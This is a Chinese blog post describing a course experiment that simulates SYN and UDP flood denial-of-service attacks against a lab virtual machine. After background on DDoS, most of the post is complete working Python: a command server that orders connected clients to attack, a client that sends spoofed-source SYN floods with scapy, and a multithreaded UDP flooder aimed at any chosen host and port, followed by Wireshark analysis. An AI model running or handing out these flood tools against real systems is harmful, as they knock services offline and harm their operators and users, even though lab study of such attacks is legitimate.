模拟SYN Flooding及UDP Flooding实验

因为一门课程的原因,找了些相关资料

背景知识

分布式拒绝服务(distributed denial of service,简称DDoS)攻击是拒绝服务(denial of service,简称DoS)攻击的一种特殊形式。传统的DoS攻击受限于较小的网络规模和较慢的网络速度,随着计算机处理能力和网络性能的提高,难以达到明显的攻击效果。而DDoS攻击通常由大量分布式、远程控制的设备发起,这些设备被组织为僵尸网络,以用于攻击同一目标。这种大规模协作的攻击方式旨在通过各种手段占领网络带宽,消耗系统资源,使系统无法响应正常用户的请求,造成服务暂时中断。极端情况下,攻击者完全侵占攻击目标,目标随即对外表现为完全瘫痪.随着攻击工具的推陈出新,发动DDoS攻击的技术门槛不断下降;此外,DDoS攻击所带来经济效益要远大于所花费的成本。等等这些因素使得DDoS攻击越来越普遍。

DDoS攻击按拒绝对象可以分为带宽消耗型攻击和资源消耗型攻击。带宽耗尽攻击旨在将大量流量泛滥到目标网络,从而阻止合法流量到达目标系统,常见的攻击方式有UDP Flooding、ICMP Flooding、ping of death、放大攻击等;资源消耗型攻击旨在占用目标系统的系统资源,常见的攻击方式有SYN Flooding、LAND attack、CC等。

SYN Flooding攻击是一种基于TCP协议建立连接阶段的漏洞而设计的攻击方式。攻击者通过不断地伪造IP报文,将伪造的IP地址填入IP报文的源地址段,将要攻击的服务器IP地址填入IP报文的目的地址段,其他位置填入合理数据,并将SYN标志位置1,然后循环不断地把伪造好的数据包发出去。这样,服务器缓冲区空间逐渐被TCP三次握手的第一段耗尽,正常用户的合理连接请求将被阻止,攻击者达到拒绝服务的目的。UDP协议是一种面向无连接的传输层协议。UDP Flooding攻击者常常利用僵尸网络发送大量的异常(大小、内容较为固定)高流量数据包冲击目标服务器,消耗网络带宽资源,从而影响正常业务,造成目标服务器拒绝服务。

模拟SYN Flooding

syn_Server.py

import socket
import argparse
import threading

socketList = []

#  发送命令到所有的客户机上
def sendCmd(cmd):
    print('Send command....')
    for sock in socketList:
        sock.send(cmd.encode())

#  等待连接,将建立好的连接加入到socketList列表中
def waitConnect(s):
        while True:
            sock, addr = s.accept()
            if sock not in socketList:
                socketList.append(sock)

def main():
    #  创建tcp服务端
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)  #设置端口重用
    s.bind(('0.0.0.0',58868))  
    s.listen(1024)

    #  线程创建等待连接请求
    t = threading.Thread(target=waitConnect, args=(s,))
    t.start()

    print("Wait at least a client connection!")
    while not len(socketList):  # 没有连接则一直等待
        pass
    print("It has been a client connection")

    while True:
        print('='*50)
        #  命令格式
        print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"')
        #  等待输入命令
        cmd_str = input('please input cmd:')
        if len(cmd_str):
            if cmd_str[0] == '#':
                sendCmd(cmd_str)

if __name__ == '__main__':
    main()

syn_Client.py

import argparse
import socket
import sys
import os
from multiprocessing import Process
import random
from scapy.all import *

curProcess = None

#  SYN泛洪攻击
def synFlood(tgt, dPort):
    print("="*100)
    print("The syn flood is running")
    print('='*100)

    #  任意一个端口号
    for sPort in range(1024, 65535):
        #  任意一个IP号
        srcRandom= '%i.%i.%i.%i'%(
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254),
        random.randint(1, 254)
        ) 
        ipLayer = IP(src=srcRandom, dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort, flags='S')
        packet = ipLayer / tcpLayer
        send(packet)

def cmdHandle(sock, parser):
    global curProcess
    while True:
        data = sock.recv(1024).decode()
        if len(data) == 0:
            print('The data is empty')
            return
        if data[0] == '#':
            try:
                # 解析命令
                options = parser.parse_args(data[1:].split())

                m_host = options.host
                m_port = options.port
                m_cmd = options.cmd
                # print(m_cmd)

                #  DDOS启动命令
                if m_cmd.lower() == 'start':
                    if curProcess !=None and curProcess.is_alive():
                        curProcess.terminate()
                        curProcess = None
                        os.system('clear')
                    print('The syn flood is start')
                    p = Process(target=synFlood, args = (m_host, m_port))
                    p.start()
                    curProcess = p
                elif m_cmd.lower() == 'stop':
                    if curProcess.is_alive():
                        curProcess.terminate()
                        os.system('clear')
            except:
                print("Failed to perform the command")


def main():
    #  添加需要解析的命令,就是服务器发送过来的命令
    #  命令格式:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest='host', type=str)
    p.add_argument('-p', dest='port',type=int)
    p.add_argument('-c', dest='cmd', type=str)
    print("*" * 40)

    try:
        #  创建socket对象
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # 这里因为是在本地,所以连接的ip地址为本地ip地址127.0.0.1,端口为服务器端口       
        s.connect(('127.0.0.1',58868))  
        
        print('To connected server was success')
        print("=" * 40)

        #  处理命令
        cmdHandle(s, p)

    except Exception as e:
        print('The network connected failed')
        print('please restart the script')
        sys.exit(0)


if __name__ == '__main__':
    main()

开始攻击

一台虚拟机IP为192.168.48.132,作为target
建立C/S连接,并下达攻击命令



打开Wireshark抓包

攻击效果

用GeoLite绘制SYN Flooding攻击来源分布图



绘制SYN Flooding攻击下的TCP流向图


模拟UDP Flooding

用最简单的方式,即本机不断地向目标虚拟机发UDP数据包
同样使用Wireshark抓包

import random
import socket
import threading

print("#-- UDP FLOOD --#")
ip = str(input(" Host/Ip:"))
port = int(input(" Port:"))
times = int(input(" Packets per one connection:"))
threads = int(input(" Threads:"))
def run():
    data = random._urandom(1024)
    i = random.choice(("[*]","[!]","[#]"))
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            addr = (str(ip),int(port))
            for x in range(times):
                s.sendto(data,addr)
            print(i +" Sent!!!")
        except:
            print("[!] Error!!!")

for y in range(threads):
    th = threading.Thread(target = run)
    th.start()

攻击效果

绘制UDP Flooding攻击下的IO graph



Ping target


参考资料

https://zhuanlan.zhihu.com/p/29873795
https://github.com/Leeon123/TCP-UDP-Flood

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容